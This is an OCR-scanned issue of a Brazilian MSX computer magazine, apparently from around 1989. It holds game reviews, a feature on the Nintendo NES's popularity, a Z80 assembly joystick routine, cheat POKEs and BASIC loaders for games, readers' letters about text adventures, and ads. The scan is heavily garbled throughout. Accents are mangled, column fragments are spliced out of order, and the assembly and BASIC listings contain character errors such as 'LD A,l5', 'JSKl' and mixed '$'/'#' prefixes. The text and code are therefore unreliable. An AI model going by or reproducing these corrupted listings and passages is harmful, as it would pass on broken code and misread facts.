encontrar uma explicagdo razoével para
tudo o que se passa na tela. Mesmo
assim, e impossivel resistir: entao va
correndo verificar se j3 estdo disponiveis
para o seu equipamento Galaxy Force
(Activision), Dragon Spirit (Tengen);
Captain Fizz Meets the Blastertrons
(Psyclapse), Panic Stations (Gremlin) e
Phobia (Imageworks). A dica para
Sobreviver a esses jogos é a mesma:
segure firme o joystick e abra fogo contra
tudo que ameagar se mover - exceto, é

claro, as enfermeiras. Ca-powll
FSS_=possam também ligar o micro,
dar a partida em seu Porsche
928 e sair em frenética perseguicao —no
melhor estilo “Miami Vice"—aos
bandiddes de bom gosto que dirigem
Ferraris e Lotus Esprits, Confira pela
versao do Spectrum se nao vale a pena
éngrenar a primeira marcha e esperar até
dezembro. E por falar na Ocean,
lembramos que Operation Thunderbolt é
outro que também devers estar
prontinho para figurar nas listas bem-
informadas para Papai Noel, ao lado de

Ocean estd pisando fundo para
que logo, logo os pilotos de -
Chase HQ dos fliperamas

sua submetralhadora favorita. A acdo ala
Operation Wolf foi ainda mais
incrementada (acredite se puder), com
fases em 3D e opgao para dois
Jogadores. Em caso de divida, ndo
vacile: pega os dois.

KONIX NAVIGATOR

ando continuidade 3 nossa
D série sobre joysticks fora do

comum apreserntamos neste
W= nimero o Konix Navigator,

especialmente projetado para
usuérios radicais que possuem .
computadores muito grandes, mesas
muito pequenas, ou ambos. A idéia por
trds de seu inventivo design é que vocé
possa segurd-lo com as maos e Jjogar
afastado da tela, o que proporciona
melhor visibilidade e evita aquele
incémodo de ter que ficar gjeftando o
Jjoystick na hora em que as ventosas
descolam da mesa. Com controle de oito
direcoes de deslocamento e dois botdes
de disparo, o Konix Navigator custa o
equivalente a 15 libras e o fabricante s6
nao o recomenda para os aficionados de
caraté ou musculagdo que costumam se
empolgar com facilidade. Fora isso, quem
J& usou garante que meithor, mesmo, sé o
Tféiser da Enterprise - mas olhando com
calma, até que os dois sdo bem

parecidos.
B programas... de governo para
épocas de eleicoes. Neste Jjogo
de estratégia, com o apoio de um Apple
Il ou IBM-PC até trés pessoas podem
lancar suas candidaturas (ou a de um
lider auténtico, escolhido numa lista de
70 nomes) para concorrer a um mandato
presidencial num periodo qualquer entre
0s anos de 1960 e 1988 - nos Estados
Unidos, bem entendido. Os candidatos
$do julgados de acordo com as
plataformas propostas para
administragdo, economia e
relacionamento com outros paises, bem

S pesquisas apontam President
Elect, da Strategic Simulations,
como um dos mais votados




como por sua imagem ptblica - e tal
como na vida real, os acordos e aliangas
realizados no decorrer da campanha
podem assumir influéncia decisiva.
Infelizmente ndo se conhece nenhum
similar produzido por aqui nos Ultimos
anos, mas va la: uma versio nacional
desse jogo teria, pelo menos por
enquanto, muito poucas fases.

seres alienigenas tao estipidos

qQue parecem nao saber fazer
I outra coisa a ndo ser atirar em

vocé? OK, hora de uma
mudanga de cenario. Em Pirates!
(MicroProse para Apple lIGS e IBM-PC),
vocé experimenta a sensacdo de ser o
capitdo de um navio pirata em pleno
século XVIl, percorrendo o Caribe a
procura de galebes espanhdis e cidades
para saquear. O candidato a permanecer
no cargo deverd possuir sélidos
conhecimentos de batalha e navegacao,
além de habilidade no manejo da espada
- OU sendo alguma graca para encarar
um breve desfile pela prancha. Achou a
mudanga muito radical? Entao acostume-
se aos poucos com Cosmic Pirate
(Outlaw para AMIGA): aqui vocé
personifica um bucaneiro a fim de entrar
para o Conselho dos Piratas Espaciais.
Para se habilitar sera preciso primeiro
enfrentar uma prova que consiste em
destruir uma nave inimiga num
quadrante repleto de obsticulos. Se tiver
sucesso vocé estara apto a praticar suas
pithagens nos dominios do Conselho,
mas nao va se convencendo de que
acabou de fazer o melhor negécio dos
sete mares: a moral dos associados é
um tanto questionavel e além de
combater as naves que desejam pilhar,
os flibusteiros espaciais precisardo tomar
todo o cuidado também com os outros
piratas. Enfim... lo-ho-ho, e uma garrafa
de rum para viagem!

C ansado de combater hordas de

o Um passaro? E uma imitacao? E

E Allan Quatermain, o cunhado de
Indiana Jones? Nada disso — é
mmmmmm  Rick Dangerous, dublé de
super-herdi e colecionador de

selos em mejo-expediente () que se
meteu em mais uma encrenca. Seu avido
caiu em alguma parte da América do Sul,
e armado somente com uma pistola, um
cajado e um pouquinho de dinamite (1), o
quanto nosso herdi ird sobreviver
depende de vocé... E por ai vai a
‘propaganda de mais um jogo de
plataforma para Spectrum, Amiga e IBM-
PC, que vocé vé na foto. Até ai (quase)
nada demais. O problema é que a acao
esta mais para King’s Valley 2 do que
para Indiana Jones, ao contrario do que o
antincio — mais criativo que o proprio
jogo da Firebird — faz supor.
Aproveitando o mote, listamos aqui
algumas idéias para outros jogos no
género, todos com sugestoes de
publicidade capazes de garantir sucesso
imediato:

9 e 1/2 SEMANAS DE GARGANTA
PROFUNDA — Jogo educativo. Vocé e o
Mickey Rourke sao miniaturizados e
introduzidos numa determinada parte do
corpo da Kim Basinger, a fim de produzir

ALTERED BEAST

um relatério sobre seu funcionamento
para a CIA. Boquiaberto, vocé finalmente
descobrira como o organismo reage a
tensdo traqueal durante a ataxia
locomotora, ira conhecer os segredos da
sensual e misteriosa cavidade
nasofaringea e salivar a valer com 0s
apetitosos graficos das amidalas e
epiglote. Plim, plim — é fantdstico.
RAMBO MCMLXXXIl — Jogo de
estratégia tipo resta 1, baseado no
dltimo filme da série. Apos aniquilar
todos os inimigos dos Estados Unidos
nas luas de Plutdo e bombardear o
quartel-general onde se escondiam os
criticos de cinema, Rambo nao tem mais
0 que fazer e decide jogar palitinho com
seu micro para escapar da neurose. Ha
uma opgao inteligente para derrubar a
mesa se vocé estiver perdendo, e na
versdo para o Amiga, uma bazuca
tridimensional que fulmina o micro se
vocé achar que ele esta roubando. Bons

- gréficos, apesar do enredo com violéncia

ligeiramente desnecessaria.

ELE, O BOTO — Adventure nacional.
Vocé devera utilizar toda a sua
perspicéacia e raciocinio contra 0s
malvados imperialistas que pretendem
extinguir o boto cor-de-rosa, filmar a vida
de Chico Mendes e ainda por cima
piratear o Amazénia do Renato
Degiovani. Para dificultar a sua missao ha
o irritante merchandising de um tal
guarana do novo tempo e uma
musiquinha de fundo que ndo para de
tocar (“Fragile’, do Sting). Dicas de
sobrevivéncia: nunca ofereca presentes
em aerosol para 0s ecologistas que
cuidam dos jacarés, e jamais tente
alterar o ecossistemna, passando longe

dos jacarés que se alimentarm de
ecologistas. O manual de instrugées, em
formulério continuo reciclado, é assinado
por Fernando Gabeira. 56 para MSX com
cacique Megarom.

A

gora, leitor, imagine-se nos
0ssos de um herdico centurido
que exatamente por esse
motivo morreu cedo em
combate, e foi trazido de volta
da tumba (urgh!) pelo préprio Zeus com a
missdo de salvar sua filha Atena,
prisioneira das forcas do mal. Nosso
herdi nao tarda a descobrir que a outra
vida também é dureza, e ai o jeito é se
virar para achar as particulas de energia
mistica que, ao serem tocadas, tém o
dom de alterar sua forma fisica,
conferindo-lhe ‘devastador poder e
mobilidade” - traduzindo, sdo capazes de
transforma-lo numa miriade de seres
fabulosos como um urso enorme com
(ecal) mau halito e um parente mais feio
de dragéo. E um figurino esquisito,
POrém o mais apropriado para nao
destoar dos representantes das tais
forcas do mal: grifos, zumbis,
lobisomens, lesmas gigantes e
exemplares diversos de mortos-vivos,
todos com habitos sociais repelentes
como arremessar cabecgas cortadas e
olhos humanos (eecal) naqueles que os
incomodam. E ou ndo é um enredo de
arrepiar para um jogo? Especialmente
gquando a agao se desenrola em cenérios
tdo pés-modernos quanto um cemitério,
pantanos ou um antigo templo grego.
Brr! A Activision ficou encantada com
este arcade — que em sua existéncia
anterior foi um fliperama de retumbante
sucesso da Sega — e esta conjurando o
feitico para materializar Altered Beast
nos micros que assombram as mansées
abandonadas deste e de outros mundos.
E horripilante de tdo bom. Nao va perder
e depois ficar por ai com cara de... ha,
bom, afterado.

cilada para Roger Rabbit? Nio

foi o testamento perdido do
mmm—— proprietario de Toontown desta

Vez, e sim a Activision, que
escorregou na borracha ao transformar
um dos mais geniais filmes da década
num dos menos animados jogos de
computador de que se tem noticia.
Parece dté que 0s programadores se
recusaram a voltar do cinema ou entao
foram transformados em doninhas apos
rascunhar um jogo com apenas trés
fases — isso mesmo, trés fases: Roger e
o taxi Benny sdo perseguidos pelas.ruas
de Hollywood, corta para uma rapida
passagem pelo Ink and Paint Club e dai
direto para o confronto final no galpao da
Gag Faclory. Os gréficos até que sao
legais, mas nem o detetive Eddie Valiant
da o ar de sua graga, como também —
imperdoavel — ndo se vé o menor traco
da estonteante Jessica em nenhuma
parte do jogo! Isto s6 pode ter sido obra
do juiz Doom. Se algum sem-graca vier
com este disquete para o lado do seu
Amiga, atire-o dentro do barril de “caldo”
mais proximo e encerre definitivamente a
questao. Thats all, folks!

P -p-p-pleease! Quem armou esta




HARDWARE

CLaupio CosTA

A VOLUTA POR CIMA
DOS VIDEOGAMES

Jogo de pingue-pongue no qual
a bolinha (na verdade, um tosco
Emmm==  guadrado) pipocava de la pra
ca, lentamente... em plena tela
da televisdo. Mesmo dez anos atras pare-
cia impossivel prever que este fosse o
primeiro sintoma da verdadeira febre de
Jogos eletrénicos que consurniria toda a
primeira metade da década, e cuja tem-
-peratura s6 comecaria a cair com 0s pri-
meifros sinais de esgotamento fisico dos
videogames, finalmente obrigados a pe-
dir 48ua a seus Novos e mais poderosos
oponentes: 0s micros pessoais, com cor;
som, alta resolugio e o irresistivel desa-
fio de uma linguagem de programacéo
embutida.

Mas enganam-se aqueles que pen-
saram que os videogames, apos essa
longa campanha repleta de glorias, iriam
simplesmente pendurar as chuteiras e
partir para o ostracismo amargando as
-méagoas de uma derrota. Apos um rapido
intervalo para reformulacéo de estraté-
gias, a indstria achou que era 0 mo-
mento de tirar 8 mao do botao de pausa,
¢ ei-los de volta a cena — e e grande
estilo. Saem antigos nomes como Atari
2600, Odissey e Coleco e entram em
seus lugares o Konix na Inglaterra, € o
NEC PC. Engine, Sega Super System e
Nintendo Entertainment System — que
também atende pela alcunha de NES —
nos Estados Unidos.

Este dltimo, por sinal, chega com
ares de guem val roubar a bola e domi-
nar sozinho a partida: somente no ano
passado foram vendidos, nas terras de
tio Sam, nada menos que sete milhGes
de consoles Nintendo. Fara se ter uma
idéia do que isto significa, basta dizer
que em cinco anos, desde seu langa-
mento na América, o micro Commodore
64 ndo vendeu mais do que oito mithées
de unidades. Detalhe: estima-se que se a
Nintendo tivesse tido condigées de aten-
der a demanda, algo em torno de um mi-
Ihao e meio a mais de consoles teriam

T udo comegou com um inocernte

encontrado compradores. Calcula-se que
um entre cada cinco lares americanos
ostente, hoje em dia, um Nintendo em
sua sala de estar — o que ngo chega a
surpreender quando se sabe que em seu
pais de origem, 0 Japao (onde é conheci-
do como Famicom), este console pode
ser encontrado em cerca de 30% das
residéncias.

Como da para perceber, 0 menino é
mesmo um prodigio. E deixa uma per-
Sunta estampada, logo de cara, na testa
daqueles que ndo o conhecem: 0 que

Accfafm Remote Contmﬁer

pode haver de tao extraordinario em um
simples videogame para as curvas de
seu grafico de vendas subirem assim,
em ritmo exponencial?

ENTENDENDO O NINTENDO — Na
verdade, se alienigenas do futuro tentas-
sem produzir uma tese para explicar o
sucesso do Nintendo baseando-se ape-
nas em evidéncias materiais, teriam de
enfrentar algumas dificuldades. Se o lei-
tor abrir, por exemplo, 0 exemplar de ju-
lho de 1989 da revista Detective Comics
{onde sao publicadas as historias do
maior icone de consumo de nossa épo-
ca, o Batman), podera verificar que das
dez paginas de publicidade sete sao de-
dicadas ao Nintendo — a maioria por
softhouses do porte da Konami e Taito,
anunciando seus Gitimos langamentos

para o NES. Uma grande quantidade de
titulos que aparecem em letras miudi-
nhas em outras paginas, no entanto, sao
capazes de confundir mais do que expli-
car: Donkey Kong, Legend of Zelda,
Othello, Qbert, Spy Hunter, Spy vs. Spy;
Ga!aga Xevious... Eepa, afinal esta revista
& mesmo de julho de 89, ou sera que
houve algum engano?

Uma fotografia do Nintendo também
n&o ajudaria a tornar as coisas mais cla-
ras aos olhos dos extra-terrestres. Quan—
do muito, da para conferir que a aparén-
cia do console é meio incomum: lembra
certos modelos de projetores de slides,
por sinal fora de moda hd muito tempo.
As especificacoes técnicas, entio, po- -
dem ser estarrecedoras para 0s menos
avisados: o NES opera com dois chips
customizados de 8 bits para controle de
video e audio, e — ctimulo das heresias
— nao vem com joysticks, mas sim com
um par de controladores com quatro te-
clas e um touchpad semefhante ao con-
Jjunto de teclas de cursor do MSX.

Agora, imagine o que os alienigenas
iriam pensar ao descobrir que, junto com
o Nintendo, o comprador leva um jogo in-
teiramente gréatis: as sensacionais aven-
turas de... Super Mario Brosf Ai dé vonta-
de de regressar para Jupiter rapidinho.
Como € que uma maquina de 8 bits, de-
sign quadrado, sem joysticks e ainda por
cima com uns jogos tdo manjados pode
fazer tamanho sucesso?

“APENAS” UM VIDEOGAME — Para-
doxal como possa parecer, a férmula se
resume em dnico substantivo: simplicida-
de. E se vocé quiser acrescentar um adi-
tivo, uma filosofia de marketing que é
uma verdadeira aula até para os
americanos.

Para comego de conversa, o Ninten-
do é barato — apenas cem dblares, me-
nos de um quinto do custo do mais mo-
desto computador pessoal, sdo suficien-
tes para adqumr 0 sisterna completo.
Além disso, ele é simples de usar: basta




ligar na TV, o que nao leva mais do que
alguns segundos, e sair jogando. A ine-
xisténcia de conexdes complicadas facili-
ta o transporte de um aposento para ou-
tro, comodidade sob medida para o con-
sumidor americano, que em geral tem
mais de um aparelho de TV em casa.
Esta mesma simplicidade se reflete
na aparéncia do console, onde foram in-
tencionalmente evitadas quaisquer mar-
cas capazes de confundi-lo, mesmo a
distdncia, com um computador — que &,
afinal, um instrumento de trabalho. O que
se vende por trés da marca Nintendo é
na realidade um conceito — o de um sis-
tema interativo de entretenimento, barato
e facil de usar. Nada mais objetivo e em
sintonia com um tempo em que as pes-
s0as que compram micros, nos Estados
Unidos, estdo menos preocupadas com
mintcias de programacdo e mais interes-
sadas nas aplicagoes efetivas que po-
dem encontrar para seus equipamentos.
A maioria dos usuarios aponta ra-
zoes semelhantes para aprovar 0s con-
troladores do Nintendo: afirmam que sdo
leves e faceis de manejar e que, ao con-
trario dos joysticks, ndo cansam as maos
apos algumas horas de uso. Seja como
for, a verdade é que a auséncia deste pe-
riférico deixou uma porta aberta para o
desenvolvimento dos mais variados — e
sofisticados — dispositivos ‘alternativos”
de comunicagdo com a maquina, que
acabam tornando mais estimulante a op-
¢80 pela sua compra (veja o box). E a coi-
sa ndo fica por ai: ja se espalham, nos
Estados Unidos, sinais de uma emergen-
te ‘cultura do videogame’ traduzida em
simbolos como camisetas, bonés, cintos,
toalhas de praia, suspensoérios, capas de
chuva e tudo mais o que o licensing cria-
tivo for capaz de imaginar, desde que ha-
ja um espaco para o logotipo Nintendo.
Nao faltam revistas, livros e fitas de video
ensinando trugues e estratégias para

Os ACESSORIOS
Do NINTENDO

O Nintendo Game Boy

conseguir maiores pontuagoes nos jo-
gos, bem como troféus e bonequinhos
com 0s personagens dos jogos de acao
para colecionar. Zelda e os irmaos Mario
chegaram ao extremo de abrir o apetite
do aficionado logo no café da manha,
gracas ao Nintendo Cereal System, uma
espécie de sucrilho cujo slogan é “If you
can't beat em, eat em!” Nenhuma outra
marca de jogos eletronicos, até onde se
saiba, conseguiu se integrar de tal ma-
neira ao cotidiano do usuario. Nas prate-
leiras, o selo oficial de qualidade Ninten-
do sé nao é visto com mais freqiéncia
que as etiquetas de c6digo de barras dos
produtos.

Quanto aos jogos . bem, vocé j& de-
ve ter adivinhado que . queles que cita-
mos 80 apenas 0s ‘tlassicos” — nao
mais do que uma pequena parte de uma
lista que anda pela casa das centenas, e
todo més cresce com uma dezena de

novidades. Os pratos principais desse va-
riado menu sao, naturalmente, as conver-
s6es dos jogos mais quentes dos flipera-
mas, distribuidos muito antes das ver-
soes para microcomputadores. O pessoal
do Nintendo j& esta brincando ha muito
tempo com Strider, Stealth ATF, Airwolf,
Willow, Dragon Ninja e World Games, para
citar apenas alguns exemplos. Mas isto
nao diminui o interesse por classicos co-
mo Mario Bros. — muito pelo contrario.
Afinal, quando jogos como este aparece:
ram pela primeira vez, a garotada que
forma a platéia mais numerosa do Nin-
tendo ainda devia estar se divertindo
com chocalhas. Além disso, ndo ha com-
paracao possivel entre as antigas e as
atuals versoes desses jogos: o Mario do
Nintendo faz seu irmao mais velho do
Atari parecer tao agil e desafiador quanto
um paciente de uma clinica ortopédica.

PLANOS PARA O FUTURO — Mas
isto ndo quer dizer que 0s executivos es-
tejam interessados em manter o Ninten-
do direcionado unicamente para o pabli-
co adolescente. Ha projetos mais sofisti-
cados, como o da Koei, que pretende co-
mercializar nos Estados Unidos um dos
maiores sucessos do Famicorm: Nobuna-
gas Ambition, uma ambiciosa recriagao
do cenério politico no Japao durante o
século XVI. Um cartucho de 2,5 megaby-
tes com uma bateria interna, que possibi-
lita 0 arquivamento de dados tal como
um disquete, teve de ser projetado para
acomodar esta saga na qual uma partida
pode demorar semanas.

Ha ainda quem veja no Nintendo
uma espécie de canto do cisne dos 8
bits, mas os planos para uma maquina
de 16 bits j& existem ha algum tempo no
Japdo: trata-se do Super Famicom, que
nao deve ser langado antes que as ven-
das do NES de & bits diminuam — o que,
pelo jeito, deve demorar algum tempo
para acontecer. Segundo 0s rumores, a
nova maquina seria lancada no segundo
semestre de 1990, e custaria no maximo
200 dblares. Outro projeto, mas este de
desfecho imediato, é o Nintendo Game-
boy, um sistema de entretenimento (va I3,
um videogame) portatil, do tamanho de
um radio de pithas. A um precinho quase
simbélico de 70 ddlares, pode ser o gol-
pe de misericérdia na industria de jogos

-eletronicos que atua na parte superior do

hemisfério.

Na prética o Nintendo ja estd provo-
cando estragos consideraveis no merca-
do de software de entretenimento nos
Estados Unidos: ano passado as vendas
de jogos em disquetes ficaram bem abai-
X0 do esperado, sem mencionar as ven-
das do Commodore 64, que permanece-
ram praticamente estacionarias. A dimen-
530 real do impacto provocado pelo Nin-
tendo na area dos computadores domés-
ticos, no entanto, ainda nao pode ser
perfeitamente avaliada. O jeito é ir convi-
vendo com este nome engracado — que,
traduzido do japonés, significa algo pare-

_cido com *vocé pode trabalhar duro, mas

0 suUcesso repousa nas maos de Deus” E
nas de mais vinte milhées de usuarios,
poderiamos acrescentar, numa América
que entre deliciada e constrangida, nao
consegue disfarcar que esta querendo é
mais




Craupio Costa

ACERTE

O RUMO

DE SEU JOYSTICK

abandonar ¢ conforto de sua poltrona, prezado leitor:

isto ndo é a cadéncia de uma marcha, e sim a
NN convengao para a leitura de um periférico que,
coincidentemente, foi criado com o objetivo de movimentar
figuras pela tela - o joystick. Quem programa num MSX sabe
que a fungao STICK do BASIC retorna um valor de zero a oito.
relacionadeo com a posigao apontada pelo joystick ou pelas
teclas de comando do cursor, tal como mostra a figura abaixo:

U. m, dois, esquerda, direita, trés, quatro... Ndo precisa

Semelhante ao exercicio da marcha, contudo, uma boa
rotina de joystick para jogos em Assembler nao pode perder
tempo com passos trocados ou acrobacias indteis, uma vez que
o processamento deve ser 0 mais rapido possivel. Por este
motivo, quem ja tentou usar as rotinas de controle de joystick do
BIOS do MSX deve té-las achado meio fora de forma: para testar
a posicdo corrente e o estado dos botdes de disparo somos
obrigados a chamar duas rotinas diferentes, GETSTCK (D5H) e
GTTRIG (D8H), quando se sabe que ambas as informacoes sao

encontradas no mesmo lugar, o registro 14 do PSG (consulte o -

seu exemplar do MSX Red Book para maiores orientagoes a
respeito). Outro deslize de GETTRIG é a necessidade de
especificarmos qual dos disparadores, se o da alavanca ou o da
base do joystick, deve ser testado. Isto ndo apenas € pouco
pratico como so parece fazer sentido se conseguirmos imaginar
uma atribuigao diferente para cada botdo de disparo - um atira
enquanto que outro guarda o revolver, por exemplo. Ca entre
nos, e que o pessoal da Macrosoft nao nos ouga, isto € um
bocado esquisito.

Uma alternativa para nao deixar o0 seu programa derrapar
nesses insondaveis descaminhos da ROM é usar a rotina que
apresentamos ao lado. Mais compacta e eficiente, a rotina
JOYSTK dispensa a indicagao de argumentos de entrada, lendo
automaticamente o joystick que estiver ligado ao conector A
(para ler o conector B é suficiente trocar a instrugao LD A, #DC
por LD A, #A3 antes do segundo OUT). Também nao é preciso
identificar qual dos disparadores devera ser testado: o carry flag
retorna setado caso qualquer um dos botdes de tiro seja
pressionado. Assim, basta comandar um CALL C para executar a
rotina de tiro do seu programa.

;Rotina JOYSTK
;L8 o joystick ligado ao conector A
;Entra: nada
;Retorna: A=cédigo da direcdo

Cy=1 se um bot3o de tiro pressionado
;Modifica: AF

JOYSTK: PUSH HL

PUSH DE

DI

LD A,l5 ;seta leitura do joystick
ouT ($A0) ,A

LD A,$DC ino conector A

OUT  (#Al),A

LD A, $0E

OUT  (#A0).A

IN A, (§A2) ;18 os dados do joystick

EI

CPL : ;inverte os bits: l=ativado
PUSH AF ;salva status do joystick.
AND  §0F ;isola bits que indicam a direcdo

LD HL,TABSTK ;calcula posicdo do cddigo

LD D,0 ;correspondente a direcdo

LD E.A ;na tabela

ADD HL,DE ;HL=posi¢do na tabela,

POP AF

AND $30 ;testa bits dos botles de tiro
JR Z,JSK1 ;Cy=0 se nenhum pressionado

SCF - ;sendo seta carry flag

JSKl: LD a, (HL) ;A=cédigo da direcdo
POP DE
POP HL
RET

TABSTK: DEFB 0,1,5,0,7,8,6,0,3,2,4

Qutra vantagem desta rotina é que vocé pode modificar
os codigos atribuidos as diregdes simplesmente alterando os
dados da tabela TABSTK (note que o valor zero é repetido pois
corresponde tanto & posi¢do neutra como as combinagdes de
posicoes invilidas). Nada o impede, com isso, de empregar 0s
valores que julgar mais convenientes em seus programas,
inclusive numeros negativos, 0s coeficientes de deslocamento
de shapes ou sprites ou até mesmo - embora a gente nao
recomnende - contagens como ‘quatro, trés, esquerda, direita,
dois, um...” (o0 compasso daquela famosa marcha lusitana para
tras).




Z APPING

BALLCRAZY _

POKE 28086,255

NEMESIS

10 IF FRE(A)< 24000 THEN LOCATE
5,10:PRINT“PRESSIONE < CONTROL>>
APOS O RESET!”:FOR =0 TO 3000
:NEXT:DEFUSR = 0:PRINTUSR(O)

20 SCREEN2

30 BLOAD*NEMEO”,R:BLOADNEME1"
:POKE &HA121,0 : POKE &HA337,0
:DEFUSR = &HD0O0O:PRINTUSR(O)

40 BLOAD“NEMEZ2":IF INP (&HA8)=
&HFO THEN POKE&HD111,&HFF:
POKE&HD112 &HFC ELSE 50

50 DEFUSR = &HD400:PRINTUSR(0)

POKE 47633,255
POKE 48437,167

ECTRUM.

et Iavites iy \1\

POKE 50198,0
POKE 41889,0

10 SCREEN2:CLEAR200,&HBCAO:
BLOAD““ARMY1A.BIN":DEFUSR = &HCF-

08:

X =USR(0):POKE&HD4CA,201:
BLOAD"ARMY1B.BIN",R:BLOAD
“ARMY1C.BIN",R

20 CLEAR200,&HC738:BLOAD“ARMY1
D.BIN":POKE&HB898A,0:FORA =
1TO2000:NEXT:DEFUSR = &H82DC:
A=USR(0)

ENDURO RACE

Ao

POKE 43542,0
POKE 43643,0
POKE 43647,0
POKE 43648,0
POKE 43651,0

POKE 54462,201
POKE 54379,3
POKE 48082,201
POKE 48114,0
POKE 48115,1
POKE 39997,3
POKE 42464,255
POKE 42490,255

ARMY MOVES II

W \\\
‘\ﬂ\\\{
AN

R
\ \
\\‘ \ AN W

10 SCREEN2:CLEAR200,&H8CAOQ:
BLOAD"ARMY2A.BIN",R

20 POKE&HDACA,201:BLOAD “ARMY2B
-BIN" R:BLOAD*ARMY2C.BIN"

30 CLEAR200,&HC738:BLOAD“ARMY2
D.BIN"”:POKE&H88AB,0:FORA =
1TO2000:NEXT:DEFUSR = &H82DC:
A=USR(0)

CROSS WIZE

POKE 338488
POKE 33939,12

VAMPIRE

10 BLOAD“VAMPIRE1.BIN",R:BLOAD
“VAMPIRE2.BIN" ,R:BLOAD*VAMPIRE3
.BIN"

20

POKE&HA500,201:POKE&HAB3B,201:
POKE&HA578,201:POKE&HA56B,201
30 DEFUSR = &H8598:A = USR(0)

COMBAT SCHOOL
| SPECTRUM

POKE 37088,0

CRAZY CARS

POKE 29403,0

10 SCREEN2:BLOAD“GALAGA.BIN":
POKE&HB160,0:DEFUSR = &HDO72:A=
USR(0)

10 BLOADYIE2-1":POKE&HA2AA 24
:DEFUSR = &HDO0O:PRINTUSR(0):
BLOAD“YIE2-2",R

BARBARIAN I

POKE 57830,0
POKE 57831,0
POKE 57832,0




ADVENTURES

RENATO DEGIOVANI

Recebi diversas cartas de leitores relatando problemas com o
Amazonia. Muitos ndao conseguem digitar as palavras acentuadas cor-
retamente ou atingir um determinado local do jogo.

Quanto & acentuacao, o Amazénia. sé reconhece uma palavra se
ela estiver grafada corretamente, ou seja, o sistema néao reconhece a
palavra AGUA, mas sim AGUA. Para obter os acentos, basta digita-los

de acordo com o manual do micro.

O problema é que alguns micros ndo possuem todos os acentos e
nem como acessa-los, por isso criei uma tabela alternativa de letras
pré-acentuadas. Essa tabela esta listada nas instrugdes do jogo, que
pode ser acessada pelo comando INSTRUCOES.

Quanto a atingir os locais, atravessar o lago, entrar na cachoeira,
andar na caverna, etc, faz parte do jogo a dificuldade na locomocgao. O
que se tem a fazer é tentar e se de um jeito nao der certo, tenta-se de

outro.

Aqui vai uma dica para o pessoal do abismo: se ndo da pra atra-
vessar colocando o tronco, que outro objeto poderia ser usado?????

Estou formando um clube de progra-
madores de Adventures. O clube tem como
finalidade reunir pessoas interessadas em
criar Adventures e ajuda-las nisso.

O clube comega formado por cinco
pessoas de diversos pontos do pais e é
coordenado por mim. Além da lista de as-
sociados, o clube ja possui um banco de
idéias, o qual pode ser consultado integral-
mente ou sobre temas especificos pelos
associados. ;

Além disso o clube distribui mensal-
mente um jomnal onde se discute 0s assun-
tos relacionados a criag@o e programacao
de adventures.

Que fique claro, por fim, que o clube
nao se dedica tdo-somente a programacao
em si, mas também se manifesta a respei-
to dos temas, tipos, importancia dos ma-
nuais, o que existe no mundo, publicagoes,
ete. Por suas caracteristicas, o clube aten-
de a todos 0s equipamentos existentes ou
nao no Brasil.

Os interessados devem escrever para
0 enderego abaixo informando o equipa-
mento disponivel, a area de interesse mais
imediato, linguagens em gue programa e ad-
ventures que conhece.

Daniel C. Sobral - SHIN QL 8 Conjunto 8 ca-
sa 1 - Lago Norte - Brasilia - DF - Cep:
71500 :

E isso ai Daniel, conte com a MS sem-
pre que precisar, pois nosso objetivo é divul-
gar 0s adventures no Brasil.

O Daniel enviou-nos também uma ou-
tra carta com uma interessarnte solucdo pa-
ra o problema proposto na MS 80:

Gostaria de sugerir a solugdo utilizada
no famoso Zork I: quando se morre, perde-
se pontos que o impedirao de chegar a tela
gue leva ao inicio de Zork Il (mas pode-se
completar o jogo) e, além disso, vocé fica
preso no mundo subterrdneo sob a forma
de fantasma sem poder fazer qualquer coi-
sa ou morrer até que descubra como res-
suscitar. Os objetos que vocé possuia quan-
do morreu ficam espalhados em varios lu-
gares, com a exce¢ao dos que sao precio-

-808, 08 quais o ladrao rouba.

Obviamente ndo se poderia copiar a so-
lugdo da forma como ela existe, porém a
idéia de se transformar num fantasma pa-
ra sempre ou até que se resolva algum pro-
blema pode ser aproveitada. Pode-se criar
diversos céus (ou infernos) onde o jogador,
a cada morte, tera que resolver um proble-
ma mais e mais dificil. Se acabarem os in-
fernos, entdo o jogador nao merece mais
viver.

Esta solugdo é adaptavel. O buraco po-
de dar para um labirinto ou entao um magi-

co pode ter que se confrontar com outro pa-
ra conseguir amagica apropriada para sair
do buraco.

Uma outra solucao seria fazer um pac-
to com o demdnio, ou outro ser qualquer,
pelo qual o jogador se comprometeria a fa-
Zer algo no momento de sua salvagdo ou
mais tarde (antes de vencer o jogo, por
exemplo). Esta solugao & bastante parecida
com a do Sr. Paulo Machado de Oliveira (MS
85), entretanto introduz o elemento
sobrenatural.

Fica dificil, contudo, achar uma respos-
ta para o problema sem se saber se o joga-
dor cai intencionalmente (intengao do pro-
gramador) ou nao no buraco. Em Enchan-
ter, por exemplo, deve-se morrer em um da-
do momento do jogo para se escapar de
certo lugar em gue vocé deve entrar.

Estou fazendo um adventure e para
termina-lo s6 falta a tela de apresentacéo ini-
cial. Para isso estou usando o fantastico pro-
grama Art-studia E ai que comegam minhas
dividas (e meus cabelos brancos).

Como posso pintar uma figura com co-
res diferentes sem que estas se misturem
e formem aqueles quadrados (falta de mas-
cara) estragando todo o desenho.

Para que serve a cor transparente no
Art Studio (TK 90X)

Willian B. de Oliveira - Goiania - Goias

Poxa Willian, o que vocé quer é muito
dificil de se obter. Ndo se esquega das ca-
racteristicas técnicas do micro. Algumas
coisas sao impossiveis simplesmente por-
que o micro ngo foi feito para aquilo.

Olha, aqui vai uma dica: procure cole-
cionar o maior ndmero possivel de telas de
Jjogos do Spectrum. Com isso vocé tera uma
boa idéia do que é possivel, ou ndo, fazer
com o micro. Com o Art Studio vocé pode-
ra examinar mais de perto como cada artista
resolveu os problemas de choque de
atributos.

No caso do Spectrum, em que pese a
sua baixa capacidade de lidar com cores,
existem coisas incriveis e telas maravilho-
sas criadas especialmente para jogos. Pes-
quise, que vocé ira constatar o que eu disse.

Quanto a'cor invisivel, infelizmente ndo
temos nenhuma literatura sobre este pro-
grama e ndo podemos esclarecer a sua
duvida.




A maneira mais facil de anunciar em Sao Paulo e
vender para todo o Brasil.

ﬂSao Paulo

PRODUTOS & SERVICOS

MSX 1.0- MG 2.0-NEGARAM

Jogos ¢ Aplicativos - Periféricos - Suprimentos

Promogao: A cada 10jogos 1 gratis. Pacote de 100 jogos: Prego especial. Solicite nosso catal
gratis.
Despachamos para todo Brasi

TOYGAMES INFORMATICA

Caixa Postal 30 961 CEP 01051 Sédo Paulo-SP
Rua 50 Joaguim, 714 conj. 16 - Liberdade (metrd Sao Joaguim) Tel.: (011) 277 4878

MISX
Shopping

O Maior Catalogo do Brasil para MSX

